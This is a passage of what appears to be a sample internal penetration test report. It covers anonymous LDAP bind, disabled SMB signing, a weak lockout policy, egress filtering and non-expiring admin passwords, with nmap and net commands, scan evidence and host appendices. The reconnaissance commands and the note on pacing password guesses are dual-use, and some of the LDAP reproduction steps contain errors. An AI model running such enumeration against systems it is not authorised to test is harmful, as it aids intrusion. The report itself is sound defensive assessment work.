MAC   :  64:60:38:8F:05:68\x0a                       System Time:  2019-01-11 22:00:33\x0a\x0a\x0a\x0a\x0aUser:
[+] 192.168.204.10:23     - 192.168.204.10:23 TELNET Login:
[+] 10.100.3.70:23        - 10.100.3.70:23 TELNET \x07HP JetDirect\x0aPassword is not set\x0a\x0aPlease type "me
nu" for the MENU system, \x0aor "?" for help, or "/" for current settings.>
```

MEDIUM

LDAP Permits Anonymous Bind Access

Observation

Lightweight Directory Access Protocol (LDAP) can be used by multiple services when it comes to authenticating users to Active Directory. However, information may also be enumerated from this service in order to provide functionality for certain devices, such as filling in hostnames, domain name information, and more.

Security Impact

A misconfigured LDAP server could unnecessarily expose information to unauthorized individuals, including domain information. Although LDAP is typically exposed only internally, limiting the amount of information that an attacker could get further reduces the risk of a successful attack, even if by a little. LDAP servers may also be useful for enumerating Active Directory Domain User Accounts in certain scenarios, which could be extremely valuable to an attacker that needs such information for performing password attacks against those users.

Top Affected Nodes

TEN (10) NODES AFFECTED		
IP Address	**Host Name**	**Operating System**
192.168.204.51		Undetected
192.168.204.60		Undetected
192.168.204.66		Undetected
192.168.204.71		Undetected
192.168.204.97		Undetected
192.168.204.145		Undetected
192.168.204.173		Undetected
192.168.204.240		Undetected
192.168.2.6		Microsoft Windows Server 2012 R2
192.168.2.18		Microsoft Windows

Recommendation

To disable anonymous bind, add the following line to the "slapd.conf" file:

```
disallow bind_anon
```

Depending on which server operating system your LDAP server is running on, you may also be able to leverage the ASDIEdit tool to add the "DenyUnauthenticatedBind" entry into the configuration. See the reference section for more specific details.

Reproduction Steps

Use the Nmap tool and the "smb-security-mode" script to evaluate whether or not LDAP servers accept anonymous bind requests. For example, you may run the following commands:

```
nmap <ip_address> -p 389 -sS -Pn -n --script ldap-rootdsn
```

If you are able to retrieve results from this command, then that server accepts anonymous LDAP bind requests.

References

- https://blog.lithnet.io/2018/12/disabling-unauthenticated-binds-in.html

Evidence

```
Nmap scan report for 192.168.204.71
Host is up (0.0033s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse:
| LDAP Results
|   dn: cn=DSE Root
|       rootDomainNamingContext: dc=vsphere,dc=local
|       defaultNamingContext: dc=vsphere,dc=local
|       configurationNamingContext: cn=Configuration,dc=vsphere,dc=local
|       schemaNamingContext: cn=schemacontext
|       subSchemaSubEntry: cn=aggregate,cn=schemacontext
|       namingContexts: dc=vsphere,dc=local
|       serverName: cn=dcpsc.demo-domain.com,cn=Servers,cn=DC,cn=Sites,cn=Configuration,dc=vsphere,dc=local
|       vmwAdministratorDN: cn=Administrator,cn=Users,dc=vsphere,dc=local
|       vmwDCAccountDN: cn=dcpsc.demo-domain.com,ou=Domain Controllers,dc=vsphere,dc=local
|       vmwDCAccountUPN: dcpsc.demo-domain.com@VSPHERE.LOCAL
|       deletedObjectsContainer: cn=Deleted Objects,dc=vsphere,dc=local
|       msDS-SiteName: DC
|       objectGUID: 32363238-3037-3432-2d63-3530342d3436

--snipped--
```

MEDIUM

SMB Signing Not Enabled

Observation

Testing identified Microsoft Windows configuration concerns that could potentially result in an increased risk of an attack against Microsoft operating systems within the targeted environment. By default, Microsoft Windows comes pre-installed with several configuration issues that require network administrators to explicitly disable or enable to enhance security. If these options are not modified, then these systems could remain vulnerable to several attacks.

More specifically, the SMB signing feature was not found to be enabled at the time of testing. SMB signing is a security feature implemented by Microsoft to combat SMB relay attacks. An SMB relay attack occurs when an attacker tricks the victim system into authenticating to the attacker, and the attacker relays those credentials to another system.

Security Impact

Since many organizations use Microsoft Windows and Active Directory environments to manage users, a successful attack against a Microsoft Windows system could potentially expose the organization to other attacks, including privilege escalation and lateral movement. Furthemore, many Microsoft Windows systems share similar configurations due to Group Policy's ability to configure settings on a global scale. A single misconfiguration within Group Policy could present significant threats.

As it relates to SMB signing, a successful SMB relay attack could provide an attacker with access to a system of the attacker's choosing, depending on the permission levels of the authentication credentials being relayed. This could result in remote command execution, access to resources, and more.

Top Affected Nodes

EIGHTY-THREE (83) NODES AFFECTED		
IP Address	**Host Name**	**Operating System**
10.100.6.81	[redacted]	Microsoft Windows 10 Pro
192.168.204.62		Undetected
192.168.204.63		Undetected
192.168.204.58		Undetected
192.168.204.97		Undetected
192.168.204.103		Undetected
192.168.204.94		Undetected
192.168.204.104		Undetected
192.168.204.81		Undetected
192.168.204.78		Undetected
192.168.204.140		Undetected
192.168.204.143		Undetected
192.168.204.133		Undetected
192.168.204.141		Undetected

192.168.204.154		Undetected
192.168.204.182		Undetected
192.168.204.212		Undetected
192.168.204.226		Undetected
192.168.204.206		Undetected
192.168.204.223		Undetected
192.168.204.205		Undetected
192.168.204.202		Undetected
192.168.204.200		Undetected
192.168.204.238		Undetected
192.168.204.240		Undetected
192.168.204.198		Undetected
10.100.2.64	[redacted]	Windows Server 2016 Standard 14393
10.100.3.55		Undetected
10.100.2.63	[redacted]	Windows Server 2016 Standard 14393
10.100.7.58		Undetected
10.100.7.111		Microsoft Windows 7 Professional
10.100.7.131		Microsoft Windows 7 Ultimate
10.100.7.110		Microsoft Windows Server 2012 R2 Standard
10.100.7.71	[redacted]	Windows Server 2016 Standard 14393
10.100.7.125		Microsoft Windows Server 2008 R2 Standard Service Pack 1
192.168.2.242		Undetected
192.168.204.181		Undetected
192.168.204.168		Undetected
192.168.204.196		Undetected
192.168.204.189		Undetected
10.100.7.72	[redacted]	Microsoft Windows 10 Enterprise
192.168.204.145		Undetected
10.100.7.101	[redacted]	Windows Server 2016 Standard 14393
10.100.7.136		Microsoft Windows XP Service Pack 2
10.100.7.70	[redacted]	Microsoft Windows 10
10.100.7.87	[redacted]	Windows Server 2016 Standard 14393
192.168.204.52		Undetected
192.168.204.110		Undetected
192.168.204.148		Undetected
192.168.204.199		Undetected
192.168.204.245		Undetected
192.168.204.67		Undetected
192.168.2.78		Microsoft Windows 10 Pro
192.168.204.160		Undetected
10.100.7.119		Microsoft Windows Server 2012 R2 Standard
10.100.7.210		Microsoft Windows 7 Professional
10.100.7.62	[redacted]	Microsoft Windows 10 Enterprise

10.100.5.64	[redacted]	Microsoft Windows Server 2008 R2 Standard Service Pack 1
10.100.7.51	[redacted]	Microsoft Windows Server 2012 R2 Standard
10.100.7.53	[redacted]	Microsoft Windows Server 2012 R2 Standard
10.100.7.66	[redacted]	Microsoft Windows Server 2012 R2 Standard
10.100.5.59	[redacted]	Microsoft Windows 7 Professional
10.100.6.80	[redacted]	Microsoft Windows 10 Pro
10.100.7.86	[redacted]	Microsoft Windows 10
10.100.7.90	[redacted]	Microsoft Windows 10
192.168.204.54		Undetected
10.100.2.52	[redacted]	Windows Server 2016 Standard 14393
192.168.204.161		Undetected
192.168.204.162		Undetected
192.168.204.184		Undetected
192.168.204.185		Undetected
192.168.204.195		Undetected
192.168.204.214		Undetected
192.168.204.215		Undetected
10.100.7.135		Microsoft Windows Server 2008 Standard Service Pack 2
10.100.7.88	[redacted]	Microsoft Windows Server 2012 R2 Standard
192.168.2.8		Microsoft Windows Server 2012 R2 Standard
10.100.7.115		Microsoft Windows 7 Professional
10.100.2.59	[redacted]	Windows Server 2016 Standard 14393
10.100.7.73	[redacted]	Windows Server 2016 Standard 14393
10.100.7.77	[redacted]	Microsoft Windows 10
10.100.7.84	[redacted]	Microsoft Windows 10
10.100.7.85	[redacted]	Windows Server 2016 Standard 14393

Recommendation

Enforce SMB signing by configuring this across the organization's systems via Group Policy.

Reproduction Steps

Leveage the "smb-security-mode" script within Nmap to scan a system for SMB signing. The following command can be run from a Linux system with Nmap installed:

```
nmap <ip> -p 445 -sS -Pn --script smb-security-mode -v -n
```

References

- https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/best-practices-for-securing-active-directory

- https://www.microsoft.com/security/blog/2018/12/05/step-1-identify-users-top-10-actions-to-secure-your-environment/
- https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-security-baselines
- https://support.microsoft.com/en-us/help/887429/overview-of-server-message-block-signing

---

Evidence

```
Nmap scan report for 10.100.7.53
Host is up (0.00053s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
```

```
Nmap scan report for 192.168.204.94
Host is up (0.0030s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
```

```
Nmap scan report for 10.100.7.135
Host is up (0.00048s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
```

```
Nmap scan report for 10.100.2.59
Host is up (0.00071s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:42:94:32 (VMware)

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
```

MEDIUM

Weak Password Policy (lockout observation window)

Observation

The lockout observation window for a Microsoft Windows Active Directory domain password policy specifies how long Active Directory will wait until resetting the "attempted login" counter. In other words, if someone were to submit two invalid login attempts, then essentially this counter would reset back from 2 to 0 after the lockout observation window expires.

Security Impact

With a small lockout observation window, this essentially allows attackers to perform password attacks against user accounts at a higher frequency. For example, if the lockout observation window is set to 5 minutes and the lockout threshold is 10, then essentially an attacker can perform 9 login attempts every 5 minutes without ever locking out the user account.

This process can also be scripted and automated so that the attacker essentially never locks out the user account while performing thousands of password attacks over a short period of time.

Recommendation

Increase the lockout observation window to a much higher value, preferably over 90 minutes. The higher this number is set within the password policy, the longer it would take for an attacker to guess a valid set of credentials.

Reproduction Steps

Use the following command to identify the Microsoft Windows Active Directory password policy:

```
net accounts /domain
```

References

- https://gracefulsecurity.com/the-myth-of-account-lockout-observation-windows/
- https://techtalk.pcmatic.com/2019/01/22/windows-account-lockout-threshold/

Evidence

```
The request will be processed at a domain controller for domain demo-domain.com.

Force user logoff how long after time expires?:       Never
Minimum password age (days):                          0
Maximum password age (days):                          120
Minimum password length:                              8
Length of password history maintained:                1
Lockout threshold:                                    10
```

```
Lockout duration (minutes):                              10
Lockout observation window (minutes):                    10
Computer role:                                           PRIMARY
```

INFORMATIONAL Egress Filtering Deficiencies

Observation

The internal network environment has an excessive amount of access to services on the public Internet environment. In a restricted environment where egress filtering deficiencies are properly implemented, end-users are only provided with access that is required for business operations, which, in many cases, are just web services.

Security Impact

Allowing end-users with access to excessive services, such as SSH, Telnet, etc. allows for an attacker or end-user to bypass security controls by exfiltrating information through other communication channels. During an attack, an attacker may also leverage this excessive access to establish a command-and-control (C2) server to communicate commands and data back and forth between a compromised system.

Recommendation

Disable access to services that are not required for business operations. Restricting access to only services that are required for business operations allows the organizations to establish more control over communication channels, allowing for inspection of indicators of compromise (IoC) as well as malicious data exfiltration attempts.

Reproduction Steps

With permission, perform a scan against an Internet-facing service that has an excessive amount of ports opened. Analyze the results of the results to determine where services may be visible from the internal network environment.

Evidence

```
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.048s latency).
Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f
Not shown: 996 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
9929/tcp  open  nping-echo
31337/tcp open  Elite
```

INFORMATIONAL

High-Privileged Accounts Not Required to Change Password Often

Observation

During testing, it was identified that a highly privileged account within the network environment is not required to change its password, based on the enumerated password policy. By not requiring highly privileged accounts to change their passwords, this increases the time that a compromised set of credentials will be useful for an attacker.

Security Impact

By never requiring a highly privileged account to change its password, this allows an attacker to use a compromised set of credentials for an indefinite amount of time, until the account password has changed. This could increase the chances of a successful compromise going unnoticed or extending over a long period of time.

Recommendation

To ensure best practices apply to all users and accounts within the environment, it is recommended to avoid excluding highly privileged accounts from password policies that enforce best practices. Rather than setting this requirement to "never", it should, instead, be set to a value that is more acceptable to the organization and has an expiration.

Reproduction Steps

Run the following command on a highly privileged account to identify when its password was last changed with Microsoft Active Directory:

```
net user [username] /domain
```

Evidence

```
C:\Windows\system32>net user [redacted] /domain
The request will be processed at a domain controller for domain demo-domain.com.

User name                    [redacted]
Full Name                    [redacted] Administrator
Comment
User's comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/13/2016~ 2:56:06 PM
Password expires             Never
```

Appendix A: Host Discovery (Operating Systems)

Internal Network Security Assessment

The following table shows the operating systems that were discovered as part of this assessment. It should be noted that the operating system discovery techniques are only able to identify the specific OS versions based on the way the targets respond to various fingerprinting methods. In some cases, all operating systems may not be identifiable at the time of testing.

IP Address	DNS Name	Operating System	Domain
10.100.1.52		Linux Kernel 2.6	
10.100.1.63		Linux Kernel 2.6	
10.100.1.66	[redacted]	Microsoft Windows 10	
10.100.1.68	[redacted]	Microsoft Windows 10	
10.100.1.76	[redacted]	Microsoft Windows 10	
10.100.1.80		Linux Kernel 2.6	
10.100.1.96		Linux Kernel 2.6	
10.100.1.97	[redacted]	Microsoft Windows 10	
10.100.1.99	[redacted]	Microsoft Windows 10	
10.100.1.150		Linux Kernel 3.10	
10.100.1.151		Linux Kernel 3.10	
10.100.2.45		Linux Kernel 3.10	
10.100.2.49	[redacted]	Microsoft Windows 10	
10.100.2.51		Linux Kernel 4.15.0-128-generic	
10.100.2.52	[redacted]	Windows Server 2016 Standard 14393	
10.100.2.53	[redacted]	Microsoft Windows 10	
10.100.2.54	[redacted]	Microsoft Windows 10 Pro	
10.100.2.55	[redacted]	Microsoft Windows 10	
10.100.2.56		VMware ESXi 7.0.1 build-16850804	
10.100.2.57		VMware ESXi 7.0.1 build-16850804	
10.100.2.58		VMware ESXi 7.0.1 build-16850804	
10.100.2.59	[redacted]	Windows Server 2016 Standard 14393	
10.100.2.60		VMware ESXi 7.0.1 build-16850804	
10.100.2.62		Linux Kernel 2.6	
10.100.2.63	[redacted]	Windows Server 2016 Standard 14393	
10.100.2.64	[redacted]	Windows Server 2016 Standard 14393	
10.100.2.65	[redacted]	Microsoft Windows 10	
10.100.2.66	[redacted]	Microsoft Windows 10	
10.100.2.70	[redacted]	Windows	
10.100.2.81	[redacted]	Microsoft Windows 10	
10.100.2.82	[redacted]	Microsoft Windows 10	
10.100.2.83	[redacted]	Microsoft Windows 10	
10.100.2.87		Linux Kernel 2.6	
10.100.2.93	[redacted]	Microsoft Windows 10 Pro	

10.100.3.50	[redacted]	Microsoft Windows 10 Pro	
10.100.3.51	[redacted]	Microsoft Windows 10 Pro	
10.100.3.52	[redacted]	Microsoft Windows 10 Pro	
10.100.3.53		Linux Kernel 2.6	
10.100.3.56	[redacted]	Microsoft Windows 10	
10.100.3.60		Linux Kernel 2.6	
10.100.3.64	[redacted]	Microsoft Windows 10 Pro	
10.100.5.50	[redacted]	Microsoft Windows 10	
10.100.5.51	[redacted]	Microsoft Windows 10 Pro	
10.100.5.52		Linux Kernel 2.6	
10.100.5.53		Linux Kernel 2.6	
10.100.5.55	[redacted]	Microsoft Windows 10	
10.100.5.56	[redacted]	Microsoft Windows 10	
10.100.5.59	[redacted]	Microsoft Windows 7 Professional	
10.100.5.60	[redacted]	Microsoft Windows 10	
10.100.5.61	[redacted]	Microsoft Windows 10	
10.100.5.62	[redacted]	Microsoft Windows 10	
10.100.5.64	[redacted]	Microsoft Windows Server 2008 R2 Standard Service Pack 1	
10.100.5.67	[redacted]	Microsoft Windows 10	
10.100.5.68	[redacted]	Microsoft Windows 10	
10.100.6.20		Linux Kernel 3.10	
10.100.6.25		Lantronix Universal Device Server UDS1100	
10.100.6.26		Lantronix Universal Device Server UDS1100	
10.100.6.50	[redacted]	Microsoft Windows 10	
10.100.6.53	[redacted]	Microsoft Windows 10	
10.100.6.54	[redacted]	Microsoft Windows 10	
10.100.6.57	[redacted]	Microsoft Windows 10	
10.100.6.60	[redacted]	Microsoft Windows 10	
10.100.6.62	[redacted]	Windows	
10.100.6.65	[redacted]	Microsoft Windows 10	
10.100.6.66	[redacted]	Microsoft Windows 10	
10.100.6.68	[redacted]	Microsoft Windows 10	
10.100.6.69	[redacted]	Microsoft Windows 10	
10.100.6.80	[redacted]	Microsoft Windows 10 Pro	
10.100.6.81	[redacted]	Microsoft Windows 10 Pro	
10.100.6.82	[redacted]	Microsoft Windows 10	
10.100.6.84	[redacted]	Microsoft Windows 10	
10.100.6.90	[redacted]	Microsoft Windows 10 Pro	
10.100.6.92	[redacted]	Microsoft Windows 10	
10.100.7.50	[redacted]	Microsoft Windows 10	
10.100.7.51	[redacted]	Microsoft Windows Server 2012 R2 Standard	
10.100.7.53	[redacted]	Microsoft Windows Server 2012 R2 Standard	
10.100.7.62	[redacted]	Microsoft Windows 10 Enterprise	

10.100.7.66	[redacted]	Microsoft Windows Server 2012 R2 Standard	
10.100.7.69		Linux Kernel 2.6	
10.100.7.70	[redacted]	Microsoft Windows 10	
10.100.7.71	[redacted]	Windows Server 2016 Standard 14393	
10.100.7.72	[redacted]	Microsoft Windows 10 Enterprise	
10.100.7.73	[redacted]	Windows Server 2016 Standard 14393	
10.100.7.75	[redacted]	Microsoft Windows 10 Pro	
10.100.7.77	[redacted]	Microsoft Windows 10	
10.100.7.78	[redacted]	Microsoft Windows 10 Enterprise	
10.100.7.82	[redacted]	Microsoft Windows 10 Pro	
10.100.7.84	[redacted]	Microsoft Windows 10	
10.100.7.85	[redacted]	Windows Server 2016 Standard 14393	
10.100.7.86	[redacted]	Microsoft Windows 10	
10.100.7.87	[redacted]	Windows Server 2016 Standard 14393	
10.100.7.88	[redacted]	Microsoft Windows Server 2012 R2 Standard	
10.100.7.90	[redacted]	Microsoft Windows 10	
10.100.7.93	[redacted]	Microsoft Windows 10	
10.100.7.95	[redacted]	VMware ESXi 7.0.0 build-16324942	
10.100.7.96		VMware ESXi 7.0.0 build-16324942	
10.100.7.98		Ubuntu 16.04 Linux Kernel 4.4	
10.100.7.101	[redacted]	Windows Server 2016 Standard 14393	
10.100.7.110		Microsoft Windows Server 2012 R2 Standard	
10.100.7.111		Microsoft Windows 7 Professional	
10.100.7.115		Microsoft Windows 7 Professional	
10.100.7.116		Microsoft Windows 10	
10.100.7.118		Microsoft Windows	
10.100.7.119		Microsoft Windows Server 2012 R2 Standard	
10.100.7.125		Microsoft Windows Server 2008 R2 Standard Service Pack 1	
10.100.7.131		Microsoft Windows 7 Ultimate	
10.100.7.135		Microsoft Windows Server 2008 Standard Service Pack 2	
10.100.7.136		Microsoft Windows XP Service Pack 2	
10.100.7.201		Microsoft Windows 10 Pro	
10.100.7.210		Microsoft Windows 7 Professional	
10.100.20.2		Microsoft Windows 10 Pro	
10.100.20.7		Microsoft Windows 10 Pro	
10.100.20.11		Microsoft Windows 10 Pro	
10.100.20.33	[redacted]	Microsoft Windows 10 Pro	
10.100.20.38	[redacted]	Microsoft Windows 10 Pro	
10.100.20.59		Linux Kernel 2.6	
10.100.20.67	[redacted]	Linux Kernel 2.6	
10.100.20.145		Windows	
10.100.20.149	[redacted]	Linux Kernel 2.6	
10.100.20.194	[redacted]	Linux Kernel 2.6	

10.100.20.195		Microsoft Windows 10 Pro	
10.100.20.200		Microsoft Windows 10 Pro	
10.100.31.50		Linux Kernel	
10.100.31.51		Linux Kernel	
10.100.31.52		Linux Kernel 2.6	
10.100.31.53		Linux Kernel	
10.100.31.54		Linux Kernel 2.6	
10.100.31.55		Linux Kernel	
10.100.31.56		Linux Kernel	
10.100.31.58		Linux Kernel	
10.100.31.59		Microsoft Windows 10 Pro	
10.100.31.60		Linux Kernel 2.6	
10.100.31.61		Microsoft Windows 10 Pro	
10.100.31.67		Linux Kernel	
10.100.31.69		Linux Kernel 2.6	
10.100.31.70		Microsoft Windows 10	
10.100.31.71		Linux Kernel	
10.100.31.73		Linux Kernel	
10.100.31.75		Linux Kernel	
10.100.31.77		Linux Kernel	
10.100.31.80		Linux Kernel	
10.100.31.81		Linux Kernel 2.6	
10.100.31.82		Linux Kernel 2.6	
10.100.32.30		Cisco SIP Device	
10.100.32.50		Linux Kernel	
10.100.32.51		Linux Kernel	
10.100.32.52		Linux Kernel	
10.100.32.53		Linux Kernel	
10.100.32.54		Linux Kernel	
10.100.32.55		Linux Kernel	
10.100.32.56		Linux Kernel	
10.100.32.57		Linux Kernel	
10.100.32.58		Linux Kernel	
10.100.32.59		Linux Kernel	
10.100.32.61		Linux Kernel	
10.100.32.62		Linux Kernel	
10.100.32.63		Microsoft Windows 10 Pro	
10.100.32.65		Microsoft Windows 10 Pro	
10.100.32.69		Linux Kernel	
10.100.33.20		Linux Kernel 2.6	
10.100.33.50		Linux Kernel	
10.100.33.52		Linux Kernel 2.2	
10.100.33.53		Microsoft Windows 10 Pro	

10.100.33.54		Microsoft Windows 10 Pro	
10.100.33.55		Linux Kernel	
10.100.33.59		Microsoft Windows 10 Pro	
10.100.33.61		Microsoft Windows 10 Pro	
10.100.34.50		Linux Kernel	
10.100.34.51		Linux Kernel	
10.100.34.52		Linux Kernel	
10.100.34.53		Linux Kernel	
10.100.34.54		Linux Kernel	
10.100.34.55		Linux Kernel	
10.100.34.56		Linux Kernel	
10.100.34.57		Linux Kernel	
10.100.34.58		Linux Kernel	
10.100.34.59		Linux Kernel	
10.100.34.60		Linux Kernel	
10.100.34.61		Linux Kernel	
10.100.34.62		Linux Kernel	
10.100.34.63		Linux Kernel	
10.100.34.64		Linux Kernel	
10.100.34.65		Linux Kernel 2.6	
10.100.34.66		Linux Kernel	
10.100.34.67		Linux Kernel	
10.100.34.68		Linux Kernel	
10.100.34.69		Linux Kernel	
10.100.34.70		Linux Kernel	
10.100.34.71		Linux Kernel	
10.100.34.72		Linux Kernel	
10.100.34.73		Linux Kernel	
10.100.34.74		Linux Kernel	
10.100.34.75		Linux Kernel	
10.100.34.76		Linux Kernel	
10.100.34.77		Linux Kernel	
10.100.34.78		Linux Kernel	
10.100.34.79		Linux Kernel	
10.100.34.80		Linux Kernel	
10.100.34.81		Linux Kernel	
10.100.34.83		Windows	
10.100.34.85		Microsoft Windows 10 Pro	
10.100.34.86		Microsoft Windows 10 Pro	
10.100.35.50		Linux Kernel 2.6	
10.100.35.51		Linux Kernel 2.6	
10.100.35.58		CentOS Linux 7 Linux Kernel 3.10	
10.100.35.60		Linux Kernel 2.6	

10.100.35.61		Linux Kernel 2.6	
10.100.35.65		Linux Kernel 2.6	
10.100.35.70		Linux Kernel 2.6	
10.100.35.72		Windows	
10.100.35.77		Microsoft Windows 10 Pro	
10.100.35.84		Linux Kernel 2.6	
10.100.35.89		Microsoft Windows 10 Pro	
10.100.35.104		Linux Kernel 2.6	
10.100.35.119		Microsoft Windows 10 Pro	
10.100.35.120		Linux Kernel 2.6	
192.168.2.3		VMware ESXi	
192.168.2.5		VMware ESXi	
192.168.2.6		Microsoft Windows Server 2012 R2	
192.168.2.8		Microsoft Windows Server 2012 R2 Standard	
192.168.2.18		Microsoft Windows	
192.168.2.19		Microsoft Windows Server 2012 R2	
192.168.2.20		Debian 7.0 Linux Kernel 3.2	
192.168.2.22		Microsoft Windows Server 2012 R2	
192.168.2.25		Microsoft Windows 10 Pro	
192.168.2.28		Linux Kernel 2.6	
192.168.2.32		Microsoft Windows Server 2012 R2 Standard	
192.168.2.34		Juniper Junos 15.1X49	
192.168.2.46		Linux Kernel 2.6	
192.168.2.51		Linux Kernel 3.10 on CentOS Linux release 7	
192.168.2.55		Linux Kernel 2.2	
192.168.2.58		Linux Kernel 2.2	
192.168.2.65		Linux Kernel 2.6	
192.168.2.71		Microsoft Windows 10 Pro	
192.168.2.74		Microsoft Windows 10 Pro	
192.168.2.78		Microsoft Windows 10 Pro	
192.168.2.82		Windows	
10.100.1.53	[redacted]	AIX 4.3.2	
10.100.7.150		AXIS Network Camera	
10.100.20.131		Oracle Integrated Lights Out Manager	
10.100.20.135		Grandstream SIP Device	
10.100.20.141		Oracle Integrated Lights Out Manager	
10.100.20.156		iPhone or iPad	
10.100.20.173		iPhone or iPad	
10.100.31.64		Polycom SIP Device	
10.100.31.65		Polycom SIP Device	
10.100.7.97		Arista EOS	
10.100.7.74		Apple Airport	
10.100.7.68		Netgear GS724T Switch	

10.100.7.67		Netgear GS724T Switch	
10.100.7.64		VxWorks 5.5	
10.100.7.63		VxWorks 5.5	
10.100.7.59		AIX 4.3.2	
10.100.31.66		Polycom SIP Device	
10.100.6.87		AXIS Network Camera	
10.100.6.77		AIX 4.3.2	
10.100.6.76		AIX 4.3.2	
10.100.6.74		AIX 4.3.2	
10.100.6.67		AIX 4.3.2	
10.100.6.63		AIX 4.3.2	
10.100.5.80		AIX 4.3.2	
10.100.5.79		AIX 4.3.2	
10.100.5.78		AIX 4.3.2	
10.100.5.77		AIX 4.3.2	
10.100.5.76		AIX 4.3.2	
10.100.5.75		AIX 4.3.2	
10.100.5.71		AIX 4.3.2	
10.100.5.70		AIX 4.3.2	
10.100.5.69		AIX 4.3.2	
10.100.5.65		AIX 4.3.2	
10.100.5.58		VxWorks 5.5	
10.100.4.50		Dell PowerEdge Blade Chassis	
10.100.3.151		AXIS Q1765-LE Network Camera with firmware 6.50.1 (2017)	
10.100.3.150		AXIS Network Camera	
10.100.3.91		AIX 4.3.2	
10.100.3.87		AIX 4.3.2	
10.100.3.86		AIX 4.3.2	
10.100.3.85		AIX 4.3.2	
10.100.3.77		AIX 4.3.2	
10.100.3.69		Dell PowerEdge Blade Chassis	
10.100.3.63		SCO UnixWare 7.1.1	
10.100.3.57		Polycom SIP Device	
10.100.2.76		AIX 4.3.2	
10.100.2.75		AIX 4.3.2	
10.100.2.73		AIX 4.3.2	
10.100.2.67		AIX 4.3.2	
10.100.2.61		AIX 4.3.2	
10.100.1.79		Dell PowerEdge Blade Chassis	
10.100.1.74		Polycom SIP Device	
10.100.1.72		AIX 4.3.2	
10.100.1.70		AIX 4.3.2	
10.100.34.46		HP Integrated Lights-Out	

10.100.20.142	[redacted]	Oracle Integrated Lights Out Manager	
10.100.35.52		iPhone or iPad	
10.100.35.67		iPhone or iPad	
10.100.20.13	[redacted]	iPhone or iPad	
10.100.35.73		LG Electronics. LG TV 1.0	
10.100.35.76		iPhone or iPad	
10.100.35.79		iPhone or iPad	
192.168.2.2		iPhone or iPad	
192.168.2.7		Integrated Dell Remote Access Controller (iDRAC)	
192.168.2.12		Dell PowerConnect Switch	
192.168.2.14		SCO UnixWare 7.1.1	
192.168.2.16		SCO UnixWare 7.1.1	
192.168.2.23		Yealink SIP Device	
192.168.2.24		Yealink SIP Device	
192.168.2.30		Yealink SIP Device	
192.168.2.56		Polycom SIP Device	
192.168.2.59		Yealink SIP Device	
192.168.2.60		Yealink SIP Device	
192.168.2.63		Yealink SIP Device	
192.168.2.70		Darwin	
192.168.2.73		Darwin	
192.168.2.77		Darwin	
192.168.2.81		Darwin	
192.168.2.90		iPhone or iPad	
192.168.2.92		Darwin	
192.168.2.94		Darwin	
10.100.20.130		Oracle Integrated Lights Out Manager	

Appendix B: Identified Nodes Without Ports

The following table shows a list of systems that did not have any opened ports at the time of testing. In summary, there was a total of one hundred and ninety-three (193) nodes found to match this criteria.

IP Address	DNS Name
192.168.2.32	
10.100.32.30	
192.168.204.184	
10.100.35.84	
10.100.1.63	
192.168.204.62	
192.168.204.63	
192.168.204.49	
192.168.204.58	
192.168.204.79	
192.168.204.91	
192.168.204.97	
192.168.204.103	
192.168.204.94	
192.168.204.104	
192.168.204.185	
192.168.204.125	
192.168.204.143	
192.168.204.126	
192.168.204.133	
192.168.204.141	
192.168.204.154	
192.168.204.223	
192.168.204.238	
192.168.204.240	
192.168.204.198	
192.168.204.145	
192.168.204.52	
192.168.204.110	
192.168.204.148	
192.168.204.199	
192.168.204.245	
192.168.204.67	
192.168.204.160	
192.168.204.54	
192.168.204.161	

192.168.204.162	
192.168.204.195	
192.168.204.214	
192.168.204.215	
192.168.204.10	
192.168.2.76	
192.168.204.81	
192.168.204.78	
192.168.204.140	
192.168.204.182	
192.168.204.212	
192.168.204.226	
192.168.204.206	
192.168.204.205	
192.168.204.202	
192.168.204.200	
10.100.3.55	
10.100.7.58	
192.168.2.117	
192.168.2.115	
192.168.2.111	
192.168.2.110	
192.168.2.109	
192.168.2.106	
192.168.2.105	
192.168.2.242	
192.168.2.104	
192.168.2.103	
192.168.2.100	
192.168.2.98	
192.168.2.96	
192.168.2.95	
192.168.2.92	
192.168.2.90	
192.168.2.86	
192.168.204.181	
192.168.204.168	
192.168.204.196	
192.168.204.189	
192.168.204.51	
192.168.2.69	
192.168.2.39	
192.168.2.38	

192.168.2.35	
192.168.2.33	
192.168.2.30	
192.168.2.27	
192.168.2.24	
192.168.2.23	
192.168.2.12	
192.168.2.10	
10.100.35.114	
10.100.35.111	
10.100.35.105	
10.100.35.96	
10.100.35.79	
10.100.35.76	
10.100.35.74	
10.100.35.67	
10.100.35.59	
10.100.35.57	
10.100.35.55	
10.100.35.53	
10.100.35.52	
10.100.35.120	
10.100.35.70	
10.100.35.65	
10.100.35.61	
10.100.35.60	
10.100.35.58	
10.100.34.46	
10.100.34.30	
192.168.204.60	
192.168.204.66	
192.168.204.71	
192.168.204.173	
10.100.33.51	
10.100.33.30	
10.100.31.30	
10.100.20.167	
10.100.20.158	
10.100.20.156	
10.100.20.141	
10.100.20.140	
10.100.20.135	
10.100.20.131	

10.100.20.130	
10.100.20.86	
10.100.20.50	
10.100.20.1	
10.100.20.59	
10.100.7.61	
10.100.7.59	
10.100.7.30	
10.100.6.86	
10.100.6.77	
10.100.6.76	
10.100.6.74	
10.100.6.67	
10.100.6.63	
10.100.6.45	
10.100.6.40	
10.100.6.35	
10.100.6.30	
10.100.5.80	
10.100.5.79	
